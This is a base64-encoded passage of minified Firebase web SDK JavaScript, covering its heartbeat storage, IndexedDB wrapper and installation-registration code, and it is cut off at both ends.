XRlLmNyZWF0ZSgiaWRiLWdldCIse29yaWdpbmFsRXJyb3JNZXNzYWdlOm51bGw9PXQ/dm9pZCAwOnQubWVzc2FnZX0pO3Eud2FybihlLm1lc3NhZ2UpfX19KHRoaXMuYXBwKXx8e2hlYXJ0YmVhdHM6W119fXJldHVybntoZWFydGJlYXRzOltdfX1hc3luYyBvdmVyd3JpdGUoZSl7dmFyIHQ7aWYoYXdhaXQgdGhpcy5fY2FuVXNlSW5kZXhlZERCUHJvbWlzZSl7Y29uc3Qgbj1hd2FpdCB0aGlzLnJlYWQoKTtyZXR1cm4gZGUodGhpcy5hcHAse2xhc3RTZW50SGVhcnRiZWF0RGF0ZTpudWxsIT09KHQ9ZS5sYXN0U2VudEhlYXJ0YmVhdERhdGUpJiZ2b2lkIDAhPT10P3Q6bi5sYXN0U2VudEhlYXJ0YmVhdERhdGUsaGVhcnRiZWF0czplLmhlYXJ0YmVhdHN9KX19YXN5bmMgYWRkKGUpe3ZhciB0O2lmKGF3YWl0IHRoaXMuX2NhblVzZUluZGV4ZWREQlByb21pc2Upe2NvbnN0IG49YXdhaXQgdGhpcy5yZWFkKCk7cmV0dXJuIGRlKHRoaXMuYXBwLHtsYXN0U2VudEhlYXJ0YmVhdERhdGU6bnVsbCE9PSh0PWUubGFzdFNlbnRIZWFydGJlYXREYXRlKSYmdm9pZCAwIT09dD90Om4ubGFzdFNlbnRIZWFydGJlYXREYXRlLGhlYXJ0YmVhdHM6Wy4uLm4uaGVhcnRiZWF0cywuLi5lLmhlYXJ0YmVhdHNdfSl9fX1mdW5jdGlvbiBnZShlKXtyZXR1cm4gaShKU09OLnN0cmluZ2lmeSh7dmVyc2lvbjoyLGhlYXJ0YmVhdHM6ZX0pKS5sZW5ndGh9dmFyIG1lO21lPSIiLFoobmV3IGIoInBsYXRmb3JtLWxvZ2dlciIsKGU9Pm5ldyBWKGUpKSwiUFJJVkFURSIpKSxaKG5ldyBiKCJoZWFydGJlYXQiLChlPT5uZXcgcGUoZSkpLCJQUklWQVRFIikpLHJlKFUseixtZSkscmUoVSx6LCJlc20yMDE3IikscmUoImZpcmUtanMiLCIiKTtjb25zdCBiZT0oZSx0KT0+dC5zb21lKCh0PT5lIGluc3RhbmNlb2YgdCkpO2xldCB3ZSx5ZTtjb25zdCB2ZT1uZXcgV2Vha01hcCxJZT1uZXcgV2Vha01hcCxTZT1uZXcgV2Vha01hcCxrZT1uZXcgV2Vha01hcCxfZT1uZXcgV2Vha01hcDtsZXQgRWU9e2dldChlLHQsbil7aWYoZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uKXtpZigiZG9uZSI9PT10KXJldHVybiBJZS5nZXQoZSk7aWYoIm9iamVjdFN0b3JlTmFtZXMiPT09dClyZXR1cm4gZS5vYmplY3RTdG9yZU5hbWVzfHxTZS5nZXQoZSk7aWYoInN0b3JlIj09PXQpcmV0dXJuIG4ub2JqZWN0U3RvcmVOYW1lc1sxXT92b2lkIDA6bi5vYmplY3RTdG9yZShuLm9iamVjdFN0b3JlTmFtZXNbMF0pfXJldHVybiBUZShlW3RdKX0sc2V0OihlLHQsbik9PihlW3RdPW4sITApLGhhczooZSx0KT0+ZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uJiYoImRvbmUiPT09dHx8InN0b3JlIj09PXQpfHx0IGluIGV9O2Z1bmN0aW9uIERlKGUpe3JldHVybiBlIT09SURCRGF0YWJhc2UucHJvdG90eXBlLnRyYW5zYWN0aW9ufHwib2JqZWN0U3RvcmVOYW1lcyJpbiBJREJUcmFuc2FjdGlvbi5wcm90b3R5cGU/KHllfHwoeWU9W0lEQkN1cnNvci5wcm90b3R5cGUuYWR2YW5jZSxJREJDdXJzb3IucHJvdG90eXBlLmNvbnRpbnVlLElEQkN1cnNvci5wcm90b3R5cGUuY29udGludWVQcmltYXJ5S2V5XSkpLmluY2x1ZGVzKGUpP2Z1bmN0aW9uKC4uLnQpe3JldHVybiBlLmFwcGx5KEFlKHRoaXMpLHQpLFRlKHZlLmdldCh0aGlzKSl9OmZ1bmN0aW9uKC4uLnQpe3JldHVybiBUZShlLmFwcGx5KEFlKHRoaXMpLHQpKX06ZnVuY3Rpb24odCwuLi5uKXtjb25zdCBpPWUuY2FsbChBZSh0aGlzKSx0LC4uLm4pO3JldHVybiBTZS5zZXQoaSx0LnNvcnQ/dC5zb3J0KCk6W3RdKSxUZShpKX19ZnVuY3Rpb24gQ2UoZSl7cmV0dXJuImZ1bmN0aW9uIj09dHlwZW9mIGU/RGUoZSk6KGUgaW5zdGFuY2VvZiBJREJUcmFuc2FjdGlvbiYmZnVuY3Rpb24oZSl7aWYoSWUuaGFzKGUpKXJldHVybjtjb25zdCB0PW5ldyBQcm9taXNlKCgodCxuKT0+e2NvbnN0IGk9KCk9PntlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImNvbXBsZXRlIixyKSxlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImVycm9yIixhKSxlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImFib3J0IixhKX0scj0oKT0+e3QoKSxpKCl9LGE9KCk9PntuKGUuZXJyb3J8fG5ldyBET01FeGNlcHRpb24oIkFib3J0RXJyb3IiLCJBYm9ydEVycm9yIikpLGkoKX07ZS5hZGRFdmVudExpc3RlbmVyKCJjb21wbGV0ZSIsciksZS5hZGRFdmVudExpc3RlbmVyKCJlcnJvciIsYSksZS5hZGRFdmVudExpc3RlbmVyKCJhYm9ydCIsYSl9KSk7SWUuc2V0KGUsdCl9KGUpLGJlKGUsd2V8fCh3ZT1bSURCRGF0YWJhc2UsSURCT2JqZWN0U3RvcmUsSURCSW5kZXgsSURCQ3Vyc29yLElEQlRyYW5zYWN0aW9uXSkpP25ldyBQcm94eShlLEVlKTplKX1mdW5jdGlvbiBUZShlKXtpZihlIGluc3RhbmNlb2YgSURCUmVxdWVzdClyZXR1cm4gZnVuY3Rpb24oZSl7Y29uc3QgdD1uZXcgUHJvbWlzZSgoKHQsbik9Pntjb25zdCBpPSgpPT57ZS5yZW1vdmVFdmVudExpc3RlbmVyKCJzdWNjZXNzIixyKSxlLnJlbW92ZUV2ZW50TGlzdGVuZXIoImVycm9yIixhKX0scj0oKT0+e3QoVGUoZS5yZXN1bHQpKSxpKCl9LGE9KCk9PntuKGUuZXJyb3IpLGkoKX07ZS5hZGRFdmVudExpc3RlbmVyKCJzdWNjZXNzIixyKSxlLmFkZEV2ZW50TGlzdGVuZXIoImVycm9yIixhKX0pKTtyZXR1cm4gdC50aGVuKCh0PT57dCBpbnN0YW5jZW9mIElEQkN1cnNvciYmdmUuc2V0KHQsZSl9KSkuY2F0Y2goKCgpPT57fSkpLF9lLnNldCh0LGUpLHR9KGUpO2lmKGtlLmhhcyhlKSlyZXR1cm4ga2UuZ2V0KGUpO2NvbnN0IHQ9Q2UoZSk7cmV0dXJuIHQhPT1lJiYoa2Uuc2V0KGUsdCksX2Uuc2V0KHQsZSkpLHR9Y29uc3QgQWU9ZT0+X2UuZ2V0KGUpO2Z1bmN0aW9uIE9lKGUsdCx7YmxvY2tlZDpuLHVwZ3JhZGU6aSxibG9ja2luZzpyLHRlcm1pbmF0ZWQ6YX09e30pe2NvbnN0IG89aW5kZXhlZERCLm9wZW4oZSx0KSxzPVRlKG8pO3JldHVybiBpJiZvLmFkZEV2ZW50TGlzdGVuZXIoInVwZ3JhZGVuZWVkZWQiLChlPT57aShUZShvLnJlc3VsdCksZS5vbGRWZXJzaW9uLGUubmV3VmVyc2lvbixUZShvLnRyYW5zYWN0aW9uKSl9KSksbiYmby5hZGRFdmVudExpc3RlbmVyKCJibG9ja2VkIiwoKCk9Pm4oKSkpLHMudGhlbigoZT0+e2EmJmUuYWRkRXZlbnRMaXN0ZW5lcigiY2xvc2UiLCgoKT0+YSgpKSksciYmZS5hZGRFdmVudExpc3RlbmVyKCJ2ZXJzaW9uY2hhbmdlIiwoKCk9PnIoKSkpfSkpLmNhdGNoKCgoKT0+e30pKSxzfWZ1bmN0aW9uIE1lKGUse2Jsb2NrZWQ6dH09e30pe2NvbnN0IG49aW5kZXhlZERCLmRlbGV0ZURhdGFiYXNlKGUpO3JldHVybiB0JiZuLmFkZEV2ZW50TGlzdGVuZXIoImJsb2NrZWQiLCgoKT0+dCgpKSksVGUobikudGhlbigoKCk9Pnt9KSl9Y29uc3QgamU9WyJnZXQiLCJnZXRLZXkiLCJnZXRBbGwiLCJnZXRBbGxLZXlzIiwiY291bnQiXSxOZT1bInB1dCIsImFkZCIsImRlbGV0ZSIsImNsZWFyIl0sUGU9bmV3IE1hcDtmdW5jdGlvbiBCZShlLHQpe2lmKCEoZSBpbnN0YW5jZW9mIElEQkRhdGFiYXNlKXx8dCBpbiBlfHwic3RyaW5nIiE9dHlwZW9mIHQpcmV0dXJuO2lmKFBlLmdldCh0KSlyZXR1cm4gUGUuZ2V0KHQpO2NvbnN0IG49dC5yZXBsYWNlKC9Gcm9tSW5kZXgkLywiIiksaT10IT09bixyPU5lLmluY2x1ZGVzKG4pO2lmKCEobiBpbihpP0lEQkluZGV4OklEQk9iamVjdFN0b3JlKS5wcm90b3R5cGUpfHwhciYmIWplLmluY2x1ZGVzKG4pKXJldHVybjtjb25zdCBhPWFzeW5jIGZ1bmN0aW9uKGUsLi4udCl7Y29uc3QgYT10aGlzLnRyYW5zYWN0aW9uKGUscj8icmVhZHdyaXRlIjoicmVhZG9ubHkiKTtsZXQgbz1hLnN0b3JlO3JldHVybiBpJiYobz1vLmluZGV4KHQuc2hpZnQoKSkpLChhd2FpdCBQcm9taXNlLmFsbChbb1tuXSguLi50KSxyJiZhLmRvbmVdKSlbMF19O3JldHVybiBQZS5zZXQodCxhKSxhfSFmdW5jdGlvbihlKXtFZT1lKEVlKX0oKGU9Pih7Li4uZSxnZXQ6KHQsbixpKT0+QmUodCxuKXx8ZS5nZXQodCxuLGkpLGhhczoodCxuKT0+ISFCZSh0LG4pfHxlLmhhcyh0LG4pfSkpKTtjb25zdCBMZT0iQGZpcmViYXNlL2luc3RhbGxhdGlvbnMiLCRlPSIwLjYuNCIsUmU9MWU0LHhlPWB3OiR7JGV9YCxLZT0iRklTX3YyIixIZT0iaHR0cHM6Ly9maXJlYmFzZWluc3RhbGxhdGlvbnMuZ29vZ2xlYXBpcy5jb20vdjEiLEZlPTM2ZTUsV2U9bmV3IHAoImluc3RhbGxhdGlvbnMiLCJJbnN0YWxsYXRpb25zIix7Im1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiOidNaXNzaW5nIEFwcCBjb25maWd1cmF0aW9uIHZhbHVlOiAieyR2YWx1ZU5hbWV9IicsIm5vdC1yZWdpc3RlcmVkIjoiRmlyZWJhc2UgSW5zdGFsbGF0aW9uIGlzIG5vdCByZWdpc3RlcmVkLiIsImluc3RhbGxhdGlvbi1ub3QtZm91bmQiOiJGaXJlYmFzZSBJbnN0YWxsYXRpb24gbm90IGZvdW5kLiIsInJlcXVlc3QtZmFpbGVkIjoneyRyZXF1ZXN0TmFtZX0gcmVxdWVzdCBmYWlsZWQgd2l0aCBlcnJvciAieyRzZXJ2ZXJDb2RlfSB7JHNlcnZlclN0YXR1c306IHskc2VydmVyTWVzc2FnZX0iJywiYXBwLW9mZmxpbmUiOiJDb3VsZCBub3QgcHJvY2VzcyByZXF1ZXN0LiBBcHBsaWNhdGlvbiBvZmZsaW5lLiIsImRlbGV0ZS1wZW5kaW5nLXJlZ2lzdHJhdGlvbiI6IkNhbid0IGRlbGV0ZSBpbnN0YWxsYXRpb24gd2hpbGUgdGhlcmUgaXMgYSBwZW5kaW5nIHJlZ2lzdHJhdGlvbiByZXF1ZXN0LiJ9KTtmdW5jdGlvbiBWZShlKXtyZXR1cm4gZSBpbnN0YW5jZW9mIGwmJmUuY29kZS5pbmNsdWRlcygicmVxdWVzdC1mYWlsZWQiKX1mdW5jdGlvbiBVZSh7cHJvamVjdElkOmV9KXtyZXR1cm5gJHtIZX0vcHJvamVjdHMvJHtlfS9pbnN0YWxsYXRpb25zYH1mdW5jdGlvbiB6ZShlKXtyZXR1cm57dG9rZW46ZS50b2tlbixyZXF1ZXN0U3RhdHVzOjIsZXhwaXJlc0luOih0PWUuZXhwaXJlc0luLE51bWJlcih0LnJlcGxhY2UoInMiLCIwMDAiKSkpLGNyZWF0aW9uVGltZTpEYXRlLm5vdygpfTt2YXIgdH1hc3luYyBmdW5jdGlvbiBxZShlLHQpe2NvbnN0IG49KGF3YWl0IHQuanNvbigpKS5lcnJvcjtyZXR1cm4gV2UuY3JlYXRlKCJyZXF1ZXN0LWZhaWxlZCIse3JlcXVlc3ROYW1lOmUsc2VydmVyQ29kZTpuLmNvZGUsc2VydmVyTWVzc2FnZTpuLm1lc3NhZ2Usc2VydmVyU3RhdHVzOm4uc3RhdHVzfSl9ZnVuY3Rpb24gR2Uoe2FwaUtleTplfSl7cmV0dXJuIG5ldyBIZWFkZXJzKHsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbiIsQWNjZXB0OiJhcHBsaWNhdGlvbi9qc29uIiwieC1nb29nLWFwaS1rZXkiOmV9KX1mdW5jdGlvbiBKZShlLHtyZWZyZXNoVG9rZW46dH0pe2NvbnN0IG49R2UoZSk7cmV0dXJuIG4uYXBwZW5kKCJBdXRob3JpemF0aW9uIixmdW5jdGlvbihlKXtyZXR1cm5gJHtLZX0gJHtlfWB9KHQpKSxufWFzeW5jIGZ1bmN0aW9uIFllKGUpe2NvbnN0IHQ9YXdhaXQgZSgpO3JldHVybiB0LnN0YXR1cz49NTAwJiZ0LnN0YXR1czw2MDA/ZSgpOnR9ZnVuY3Rpb24gUWUoZSl7cmV0dXJuIG5ldyBQcm9taXNlKCh0PT57c2V0VGltZW91dCh0LGUpfSkpfWNvbnN0IFhlPS9eW2NkZWZdW1x3LV17MjF9JC8sWmU9IiI7ZnVuY3Rpb24gZXQoKXt0cnl7Y29uc3QgZT1uZXcgVWludDhBcnJheSgxNyk7KHNlbGYuY3J5cHRvfHxzZWxmLm1zQ3J5cHRvKS5nZXRSYW5kb21WYWx1ZXMoZSksZVswXT0xMTIrZVswXSUxNjtjb25zdCB0PWZ1bmN0aW9uKGUpe2NvbnN0IHQ9KG49ZSxidG9hKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4ubikpLnJlcGxhY2UoL1wrL2csIi0iKS5yZXBsYWNlKC9cLy9nLCJfIikpO3ZhciBuO3JldHVybiB0LnN1YnN0cigwLDIyKX0oZSk7cmV0dXJuIFhlLnRlc3QodCk/dDpaZX1jYXRjaChlKXtyZXR1cm4gWmV9fWZ1bmN0aW9uIHR0KGUpe3JldHVybmAke2UuYXBwTmFtZX0hJHtlLmFwcElkfWB9Y29uc3QgbnQ9bmV3IE1hcDtmdW5jdGlvbiBpdChlLHQpe2NvbnN0IG49dHQoZSk7cnQobix0KSxmdW5jdGlvbihlLHQpe2NvbnN0IG49ZnVuY3Rpb24oKXshYXQmJiJCcm9hZGNhc3RDaGFubmVsImluIHNlbGYmJihhdD1uZXcgQnJvYWRjYXN0Q2hhbm5lbCgiW0ZpcmViYXNlXSBGSUQgQ2hhbmdlIiksYXQub25tZXNzYWdlPWU9PntydChlLmRhdGEua2V5LGUuZGF0YS5maWQpfSk7cmV0dXJuIGF0fSgpO24mJm4ucG9zdE1lc3NhZ2Uoe2tleTplLGZpZDp0fSk7MD09PW50LnNpemUmJmF0JiYoYXQuY2xvc2UoKSxhdD1udWxsKX0obix0KX1mdW5jdGlvbiBydChlLHQpe2NvbnN0IG49bnQuZ2V0KGUpO2lmKG4pZm9yKGNvbnN0IGkgb2YgbilpKHQpfWxldCBhdD1udWxsO2NvbnN0IG90PSJmaXJlYmFzZS1pbnN0YWxsYXRpb25zLWRhdGFiYXNlIixzdD0xLGN0PSJmaXJlYmFzZS1pbnN0YWxsYXRpb25zLXN0b3JlIjtsZXQgdXQ9bnVsbDtmdW5jdGlvbiBkdCgpe3JldHVybiB1dHx8KHV0PU9lKG90LHN0LHt1cGdyYWRlOihlLHQpPT57aWYoMD09PXQpZS5jcmVhdGVPYmplY3RTdG9yZShjdCl9fSkpLHV0fWFzeW5jIGZ1bmN0aW9uIGx0KGUsdCl7Y29uc3Qgbj10dChlKSxpPShhd2FpdCBkdCgpKS50cmFuc2FjdGlvbihjdCwicmVhZHdyaXRlIikscj1pLm9iamVjdFN0b3JlKGN0KSxhPWF3YWl0IHIuZ2V0KG4pO3JldHVybiBhd2FpdCByLnB1dCh0LG4pLGF3YWl0IGkuZG9uZSxhJiZhLmZpZD09PXQuZmlkfHxpdChlLHQuZmlkKSx0fWFzeW5jIGZ1bmN0aW9uIHB0KGUpe2NvbnN0IHQ9dHQoZSksbj0oYXdhaXQgZHQoKSkudHJhbnNhY3Rpb24oY3QsInJlYWR3cml0ZSIpO2F3YWl0IG4ub2JqZWN0U3RvcmUoY3QpLmRlbGV0ZSh0KSxhd2FpdCBuLmRvbmV9YXN5bmMgZnVuY3Rpb24gZnQoZSx0KXtjb25zdCBuPXR0KGUpLGk9KGF3YWl0IGR0KCkpLnRyYW5zYWN0aW9uKGN0LCJyZWFkd3JpdGUiKSxyPWkub2JqZWN0U3RvcmUoY3QpLGE9YXdhaXQgci5nZXQobiksbz10KGEpO3JldHVybiB2b2lkIDA9PT1vP2F3YWl0IHIuZGVsZXRlKG4pOmF3YWl0IHIucHV0KG8sbiksYXdhaXQgaS5kb25lLCFvfHxhJiZhLmZpZD09PW8uZmlkfHxpdChlLG8uZmlkKSxvfWFzeW5jIGZ1bmN0aW9uIGh0KGUpe2xldCB0O2NvbnN0IG49YXdhaXQgZnQoZS5hcHBDb25maWcsKG49Pntjb25zdCBpPWZ1bmN0aW9uKGUpe2NvbnN0IHQ9ZXx8e2ZpZDpldCgpLHJlZ2lzdHJhdGlvblN0YXR1czowfTtyZXR1cm4gYnQodCl9KG4pLHI9ZnVuY3Rpb24oZSx0KXtpZigwPT09dC5yZWdpc3RyYXRpb25TdGF0dXMpe2lmKCFuYXZpZ2F0b3Iub25MaW5lKXtyZXR1cm57aW5zdGFsbGF0aW9uRW50cnk6dCxyZWdpc3RyYXRpb25Qcm9taXNlOlByb21pc2UucmVqZWN0KFdlLmNyZWF0ZSgiYXBwLW9mZmxpbmUiKSl9fWNvbnN0IG49e2ZpZDp0LmZpZCxyZWdpc3RyYXRpb25TdGF0dXM6MSxyZWdpc3RyYXRpb25UaW1lOkRhdGUubm93KCl9LGk9YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCBhc3luYyBmdW5jdGlvbih7YXBwQ29uZmlnOmUsaGVhcnRiZWF0U2VydmljZVByb3ZpZGVyOnR9LHtmaWQ6bn0pe2NvbnN0IGk9VWUoZSkscj1HZShlKSxhPXQuZ2V0SW1tZWRpYXRlKHtvcHRpb25hbDohMH0pO2lmKGEpe2NvbnN0IGU9YXdhaXQgYS5nZXRIZWFydGJlYXRzSGVhZGVyKCk7ZSYmci5hcHBlbmQoIngtZmlyZWJhc2UtY2xpZW50IixlKX1jb25zdCBvPXtmaWQ6bixhdXRoVmVyc2lvbjpLZSxhcHBJZDplLmFwcElkLHNka1ZlcnNpb246eGV9LHM9e21ldGhvZDoiUE9TVCIsaGVhZGVyczpyLGJvZHk6SlNPTi5zdHJpbmdpZnkobyl9LGM9YXdhaXQgWWUoKCgpPT5mZXRjaChpLHMpKSk7aWYoYy5vayl7Y29uc3QgZT1hd2FpdCBjLmpzb24oKTtyZXR1cm57ZmlkOmUuZmlkfHxuLHJlZ2lzdHJhdGlvblN0YXR1czoyLHJlZnJlc2hUb2tlbjplLnJlZnJlc2hUb2tlbixhdXRoVG9rZW46emUoZS5hdXRoVG9rZW4pfX10aHJvdyBhd2FpdCBxZSgiQ3JlYXRlIEluc3RhbGxhdGlvbiIsYyl9KGUsdCk7cmV0dXJuIGx0KGUuYXBwQ29uZmlnLG4pfWNhdGNoKG4pe3Rocm93IFZlKG4pJiY0MDk9PT1uLmN1c3RvbURhdGEuc2VydmVyQ29kZT9hd2FpdCBwdChlLmFwcENvbmZpZyk6YXdhaXQgbHQoZS5hcHBDb25maWcse2ZpZDp0LmZpZCxyZWdpc3RyYXRpb25TdGF0dXM6MH0pLG59fShlLG4pO3JldHVybntpbnN0YWxsYXRpb25FbnRyeTpuLHJlZ2lzdHJhdGlvblByb21pc2U6aX19cmV0dXJuIDE9PT10LnJlZ2lzdHJhdGlvblN0YXR1cz97aW5zdGFsbGF0aW9uRW50cnk6dCxyZWdpc3RyYXRpb25Qcm9taXNlOmd0KGUpfTp7aW5zdGFsbGF0aW9uRW50cnk6dH19KGUsaSk7cmV0dXJuIHQ9ci5yZWdpc3RyYXRpb25Qcm9taXNlLHIuaW5zdGFsbGF0aW9uRW50cnl9KSk7cmV0dXJuIG4uZmlkPT09WmU/e2luc3RhbGxhdGlvbkVudHJ5OmF3YWl0IHR9OntpbnN0YWxsYXRpb25FbnRyeTpuLHJlZ2lzdHJhdGlvblByb21pc2U6dH19YXN5bmMgZnVuY3Rpb24gZ3QoZSl7bGV0IHQ9YXdhaXQgbXQoZS5hcHBDb25maWcpO2Zvcig7MT09PXQucmVnaXN0cmF0aW9uU3RhdHVzOylhd2FpdCBRZSgxMDApLHQ9YXdhaXQgbXQoZS5hcHBDb25maWcpO2lmKDA9PT10LnJlZ2lzdHJhdGlvblN0YXR1cyl7Y29uc3R7aW5zdGFsbGF0aW9uRW50cnk6dCxyZWdpc3RyYXRpb25Qcm9taXNlOm59PWF3YWl0IGh0KGUpO3JldHVybiBufHx0fXJldHVybiB0fWZ1bmN0aW9uIG10KGUpe3JldHVybiBmdChlLChlPT57aWYoIWUpdGhyb3cgV2UuY3JlYXRlKCJpbnN0YWxsYXRpb24tbm90LWZvdW5kIik7cmV0dXJuIGJ0KGUpfSkpfWZ1bmN0aW9uIGJ0KGUpe3JldHVybiAxPT09KHQ9ZSkucmVnaXN0cmF0aW9uU3RhdHVzJiZ0LnJlZ2lzdHJhdGlvblRpbWUrUmU8RGF0ZS5ub3coKT97ZmlkOmUuZmlkLHJlZ2lzdHJhdGlvblN0YXR1czowfTplO3ZhciB0fWFzeW5jIGZ1bmN0aW9uIHd0KHthcHBDb25maWc6ZSxoZWFydGJlYXRTZXJ2aWNlUHJvdmlkZXI6dH0sbil7Y29uc3QgaT1mdW5jdGlvbihlLHtmaWQ6dH0pe3JldHVybmAke1VlKGUpfS8ke3R9L2F1dGhUb2tlbnM6Z2VuZXJhdGVgfShlLG4pLHI9SmUoZSxuKSxhPXQuZ2V0SW1tZWRpYXRlKHtvcHRpb25hbDohMH0pO2lmKGEpe2NvbnN0IGU9YXdhaXQgYS5nZXRIZWFydGJlYXRzSGVhZGVyKCk7ZSYmci5hcHBlbmQoIngtZmlyZWJhc2UtY2xpZW50IixlKX1jb25zdCBvPXtpbnN0YWxsYXRpb246e3Nka1ZlcnNpb246eGUsYXBwSWQ6ZS5hcHBJZH19LHM9e21ldGhvZDoiUE9TVCIsaGVhZGVyczpyLGJvZHk6SlNPTi5zdHJpbmdpZnkobyl9LGM9YXdhaXQgWWUoKCgpPT5mZXRjaChpLHMpKSk7aWYoYy5vayl7cmV0dXJuIHplKGF3YWl0IGMuanNvbigpKX10aHJvdyBhd2FpdCBxZSgiR2VuZXJhdGUgQXV0aCBUb2tlbiIsYyl9YXN5bmMgZnVuY3Rpb24geXQoZSx0PSExKXtsZXQgbjtjb25zdCBpPWF3YWl0IGZ0KGUuYXBwQ29uZmlnLChpPT57aWYoIUl0KGkpKXRocm93IFdlLmNyZWF0ZSgibm90LXJlZ2lzdGVyZWQiKTtjb25zdCByPWkuYXV0aFRva2VuO2lmKCF0JiZmdW5jdGlvbihlKXtyZXR1cm4gMj09PWUucmVxdWVzdFN0YXR1cyYmIWZ1bmN0aW9uKGUpe2NvbnN0IHQ9RGF0ZS5ub3coKTtyZXR1cm4gdDxlLmNyZWF0aW9uVGltZXx8ZS5jcmVhdGlvblRpbWUrZS5leHBpcmVzSW48dCtGZX0oZSl9KHIpKXJldHVybiBpO2lmKDE9PT1yLnJlcXVlc3RTdGF0dXMpcmV0dXJuIG49YXN5bmMgZnVuY3Rpb24oZSx0KXtsZXQgbj1hd2FpdCB2dChlLmFwcENvbmZpZyk7Zm9yKDsxPT09bi5hdXRoVG9rZW4ucmVxdWVzdFN0YXR1czspYXdhaXQgUWUoMTAwKSxuPWF3YWl0IHZ0KGUuYXBwQ29uZmlnKTtjb25zdCBpPW4uYXV0aFRva2VuO3JldHVybiAwPT09aS5yZXF1ZXN0U3RhdHVzP3l0KGUsdCk6aX0oZSx0KSxpO3tpZighbmF2aWdhdG9yLm9uTGluZSl0aHJvdyBXZS5jcmVhdGUoImFwcC1vZmZsaW5lIik7Y29uc3QgdD1mdW5jdGlvbihlKXtjb25zdCB0PXtyZXF1ZXN0U3RhdHVzOjEscmVxdWVzdFRpbWU6RGF0ZS5ub3coKX07cmV0dXJuIE9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSxlKSx7YXV0aFRva2VuOnR9KX0oaSk7cmV0dXJuIG49YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCB3dChlLHQpLGk9T2JqZWN0LmFzc2lnbihPYmplY3QuYXNzaWduKHt9LHQpLHthdXRoVG9rZW46bn0pO3JldHVybiBhd2FpdCBsdChlLmFwcENvbmZpZyxpKSxufWNhdGNoKG4pe2lmKCFWZShuKXx8NDAxIT09bi5jdXN0b21EYXRhLnNlcnZlckNvZGUmJjQwNCE9PW4uY3VzdG9tRGF0YS5zZXJ2ZXJDb2RlKXtjb25zdCBuPU9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSx0KSx7YXV0aFRva2VuOntyZXF1ZXN0U3RhdHVzOjB9fSk7YXdhaXQgbHQoZS5hcHBDb25maWcsbil9ZWxzZSBhd2FpdCBwdChlLmFwcENvbmZpZyk7dGhyb3cgbn19KGUsdCksdH19KSk7cmV0dXJuIG4/YXdhaXQgbjppLmF1dGhUb2tlbn1mdW5jdGlvbiB2dChlKXtyZXR1cm4gZnQoZSwoZT0+e2lmKCFJdChlKSl0aHJvdyBXZS5jcmVhdGUoIm5vdC1yZWdpc3RlcmVkIik7Y29uc3QgdD1lLmF1dGhUb2tlbjtyZXR1cm4gMT09PShuPXQpLnJlcXVlc3RTdGF0dXMmJm4ucmVxdWVzdFRpbWUrUmU8RGF0ZS5ub3coKT9PYmplY3QuYXNzaWduKE9iamVjdC5hc3NpZ24oe30sZSkse2F1dGhUb2tlbjp7cmVxdWVzdFN0YXR1czowfX0pOmU7dmFyIG59KSl9ZnVuY3Rpb24gSXQoZSl7cmV0dXJuIHZvaWQgMCE9PWUmJjI9PT1lLnJlZ2lzdHJhdGlvblN0YXR1c31hc3luYyBmdW5jdGlvbiBTdChlLHQ9ITEpe2NvbnN0IG49ZTthd2FpdCBhc3luYyBmdW5jdGlvbihlKXtjb25zdHtyZWdpc3RyYXRpb25Qcm9taXNlOnR9PWF3YWl0IGh0KGUpO3QmJmF3YWl0IHR9KG4pO3JldHVybihhd2FpdCB5dChuLHQpKS50b2tlbn1mdW5jdGlvbiBrdChlKXtyZXR1cm4gV2UuY3JlYXRlKCJtaXNzaW5nLWFwcC1jb25maWctdmFsdWVzIix7dmFsdWVOYW1lOmV9KX1jb25zdCBfdD0iaW5zdGFsbGF0aW9ucyIsRXQ9ZT0+e2NvbnN0IHQ9ZWUoZS5nZXRQcm92aWRlcigiYXBwIikuZ2V0SW1tZWRpYXRlKCksX3QpLmdldEltbWVkaWF0ZSgpO3JldHVybntnZXRJZDooKT0+YXN5bmMgZnVuY3Rpb24oZSl7Y29uc3QgdD1lLHtpbnN0YWxsYXRpb25FbnRyeTpuLHJlZ2lzdHJhdGlvblByb21pc2U6aX09YXdhaXQgaHQodCk7cmV0dXJuIGk/aS5jYXRjaChjb25zb2xlLmVycm9yKTp5dCh0KS5jYXRjaChjb25zb2xlLmVycm9yKSxuLmZpZH0odCksZ2V0VG9rZW46ZT0+U3QodCxlKX19O1oobmV3IGIoX3QsKGU9Pntjb25zdCB0PWUuZ2V0UHJvdmlkZXIoImFwcCIpLmdldEltbWVkaWF0ZSgpLG49ZnVuY3Rpb24oZSl7aWYoIWV8fCFlLm9wdGlvbnMpdGhyb3cga3QoIkFwcCBDb25maWd1cmF0aW9uIik7aWYoIWUubmFtZSl0aHJvdyBrdCgiQXBwIE5hbWUiKTtjb25zdCB0PVsicHJvamVjdElkIiwiYXBpS2V5IiwiYXBwSWQiXTtmb3IoY29uc3QgbiBvZiB0KWlmKCFlLm9wdGlvbnNbbl0pdGhyb3cga3Qobik7cmV0dXJue2FwcE5hbWU6ZS5uYW1lLHByb2plY3RJZDplLm9wdGlvbnMucHJvamVjdElkLGFwaUtleTplLm9wdGlvbnMuYXBpS2V5LGFwcElkOmUub3B0aW9ucy5hcHBJZH19KHQpO3JldHVybnthcHA6dCxhcHBDb25maWc6bixoZWFydGJlYXRTZXJ2aWNlUHJvdmlkZXI6ZWUodCwiaGVhcnRiZWF0IiksX2RlbGV0ZTooKT0+UHJvbWlzZS5yZXNvbHZlKCl9fSksIlBVQkxJQyIpKSxaKG5ldyBiKCJpbnN0YWxsYXRpb25zLWludGVybmFsIixFdCwiUFJJVkFURSIpKSxyZShMZSwkZSkscmUoTGUsJGUsImVzbTIwMTciKTtjb25zdCBEdD0iQkRPVTk5LWg2N0hjQTZKZUZYSGJTTk11N2UyeU5OdTNSem9NajhUTTRXODhqSVRmcTdabVB2SU0xSXYtNF9sMkx4UWNZd2hxYnkyeEdwV3d6amZBbkc0IixDdD0iaHR0cHM6Ly